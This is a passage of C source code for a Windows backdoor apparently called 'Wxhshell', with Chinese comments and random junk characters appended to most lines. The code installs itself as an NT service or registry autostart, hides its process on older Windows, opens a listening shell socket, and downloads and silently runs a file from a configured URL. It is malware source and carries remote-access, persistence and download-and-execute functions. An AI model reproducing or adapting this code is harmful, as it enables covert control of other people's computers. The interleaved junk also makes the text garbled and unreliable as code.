PROCNTQSIP NtQueryInformationProcess; II}3w#r4
+Ft@S(IE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cY%6+uJ1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IaYy5Rw
2u^/yl
HANDLE hProcess; ;fKFmY41
PROCESS_BASIC_INFORMATION pbi; /: }"Z b
~`CWpc:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4wx_@8
if(NULL == hInst ) return 0; V%'+ ob6
A:Kit_A
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r=^?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J*r%b+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \XgpwvO".
%D<>F&h
if (!NtQueryInformationProcess) return 0; {w VJv1*l
&/]g@^h9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )p+6yH
if(!hProcess) return 0; \m3ca-Y
drf?7%v
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z/[ww8b.
~g|z7o
CloseHandle(hProcess); \~@a/J
De:| T8&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~e<h2/Xc
if(hProcess==NULL) return 0; }>~]q)]
LRmH@-qP
HMODULE hMod; 20k@!BNq
char procName[255]; S,2{^X
unsigned long cbNeeded; A\};^Y
.KzU7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LIMPW w g
GUdVsZjz(
CloseHandle(hProcess); Jz6zJKcA
v?qU/
if(strstr(procName,"services")) return 1; // 以服务启动 =S}SZYwl
`l`)Cs;a
return 0; // 注册表启动 Ld:U~M-
} Ny)N
Ga#5xAI{a
// 主模块 G[z4 $0f
int StartWxhshell(LPSTR lpCmdLine) dhmZ3 ~cW>
{ 5AO'Ihp L
SOCKET wsl; n0%]dKCB
BOOL val=TRUE; pv ;ZR
int port=0; ^+'\
u;\
struct sockaddr_in door; B@v"giJg r
X) xeq
if(wscfg.ws_autoins) Install(); 4n,>EA85
q, XRb
port=atoi(lpCmdLine); ;-!j,V+$h
M*lCoJ
if(port<=0) port=wscfg.ws_port; zTvGku[3
7c
aV-8:
WSADATA data; ntt:>j$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
Oa/# 2C~
sAfNu~d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "YePd*W
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^OnZ9?C{R
door.sin_family = AF_INET; &3%V%_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MY"8!
door.sin_port = htons(port); JUlCj#%
] B3\IT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E\dJb}"x %
closesocket(wsl); Bi$nYV)-l
return 1; G[M{TS3&Ds
} 2
rx``,7Q
[|"{a
if(listen(wsl,2) == INVALID_SOCKET) { `c%{M4bF\
closesocket(wsl); x|`o7.
return 1; xN=:*#Z"pb
} [$AOu0J
Wxhshell(wsl); bAZx*qE=
WSACleanup(); Cqc5jx0)
0mD=Rjb*a
return 0; \zGmZZ
97SOa.@
} &R;Cm]jt
K \_JG$(9
// 以NT服务方式启动 lD\vq 2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8|Vm6*TY&p
{ ^L"ENsOs
DWORD status = 0; =UMqa;\K
DWORD specificError = 0xfffffff; 0s'H(qE,_
vo JmNH
serviceStatus.dwServiceType = SERVICE_WIN32; mx;1'!'fr
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7\nR'MOZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
Tq*K
=^
serviceStatus.dwWin32ExitCode = 0; o"-*,:Qe
serviceStatus.dwServiceSpecificExitCode = 0; pZaOd;t
serviceStatus.dwCheckPoint = 0; nb ,+!)+
serviceStatus.dwWaitHint = 0; ~s4o1^6L
:#&Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;>Q.r{P
if (hServiceStatusHandle==0) return; 8-cCWoc
ZI/Ia$O
status = GetLastError(); oQ"J>`',
if (status!=NO_ERROR) ~|5B
{ #<EMG|&(
serviceStatus.dwCurrentState = SERVICE_STOPPED; >0Gdxj]\
serviceStatus.dwCheckPoint = 0; bL9vjD'}
serviceStatus.dwWaitHint = 0; ;'~GuZ#I
serviceStatus.dwWin32ExitCode = status; 7t~12m8x
serviceStatus.dwServiceSpecificExitCode = specificError; LOf)D7T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +(l(|lQy$
return; >4&s7][Q|
} NT&skrzW
>y{oC5S
serviceStatus.dwCurrentState = SERVICE_RUNNING; L92vb zP
serviceStatus.dwCheckPoint = 0; k1HVvMD<
serviceStatus.dwWaitHint = 0; dD.;P=AP
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "Q<
} E\lel4ai
b]cnTR2E
// 处理NT服务事件,比如:启动、停止 nOj0"c
VOID WINAPI NTServiceHandler(DWORD fdwControl) # )]L3H<
{ yON";|*\m
switch(fdwControl) T>qI,BEY
{ 8^>qzaf
8
case SERVICE_CONTROL_STOP: "yA=Tw
serviceStatus.dwWin32ExitCode = 0; I@jXW>$
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,wPvv(b]a
serviceStatus.dwCheckPoint = 0; xR`M#d5"
serviceStatus.dwWaitHint = 0; yHIZpU|(j
{ Zm+QhnY|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iz@LS
} 4<(U/58a*
return; `_Fxb@"R
case SERVICE_CONTROL_PAUSE: z3l(4W P
serviceStatus.dwCurrentState = SERVICE_PAUSED; u/>+cT6}
break; q9iHJ'lMD*
case SERVICE_CONTROL_CONTINUE: MQvk&
AX
serviceStatus.dwCurrentState = SERVICE_RUNNING; s !XJ
break; <yxy ;o
case SERVICE_CONTROL_INTERROGATE: K 0Gm ?(
break; a7YzX5n
}; {$fd?| 9h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l`k""f69W
} (N
0kTi]b
gof'NT\c
// 标准应用程序主函数 %&Q9WMo
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U+2U#v=<
{ *iwVB^^$
ILyI%DA &
// 获取操作系统版本
q-|j
=
OsIsNt=GetOsVer(); @r=v*hu
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z0#&D&2sV
N&jHU+{OU
// 从命令行安装 w+W!dM
if(strpbrk(lpCmdLine,"iI")) Install(); S<nf"oy_K
y 13Y,cz~B
// 下载执行文件 +pG[
[}/
if(wscfg.ws_downexe) { v_L2>Pa.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K2
b\9}
WinExec(wscfg.ws_filenam,SW_HIDE); Uuq*;L
} On*pI37(\
)p!.V(,
if(!OsIsNt) { _6!@>`u~
// 如果时win9x,隐藏进程并且设置为注册表启动 &$L6*+`h#
HideProc(); N3$%!\~O
StartWxhshell(lpCmdLine); odsLFU(
} ,6AnuA
else !LAC_b
if(StartFromService()) qayM0i>>
// 以服务方式启动 7I4<Dj
StartServiceCtrlDispatcher(DispatchTable); ##r9/`A
else W:hg*0z-*
// 普通方式启动 (mOL<h[)IP
StartWxhshell(lpCmdLine); rJ=r_v
+L
U.QI'
return 0; ?4%@"49n X
} ]TX"BH"2
3)0z( 30
rJKac"{
~`c(7
=========================================== T:=ST3#m
=;A>1g$
G5,g$yNs
?ytY8`PC
a>8&B
6QM$aLLP?
" K'\Jnn
R>T9 H0
#include <stdio.h> CAa&,ZR
#include <string.h> PP&